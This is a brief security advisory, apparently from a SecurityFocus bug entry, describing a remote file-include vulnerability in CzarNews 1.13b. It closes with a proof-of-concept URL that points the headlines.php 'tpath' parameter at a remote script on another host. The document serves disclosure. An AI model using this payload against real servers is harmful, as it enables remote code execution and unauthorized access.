source: http://www.securityfocus.com/bid/12857/info

CzarNews is prone to a remote file-include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

CzarNews 1.13b is reported vulnerable; other versions may be affected as well. 

http://www.example.com/research/news/CzarNewsv113b/headlines.php?tpath=http://www.example.org/cn_config.php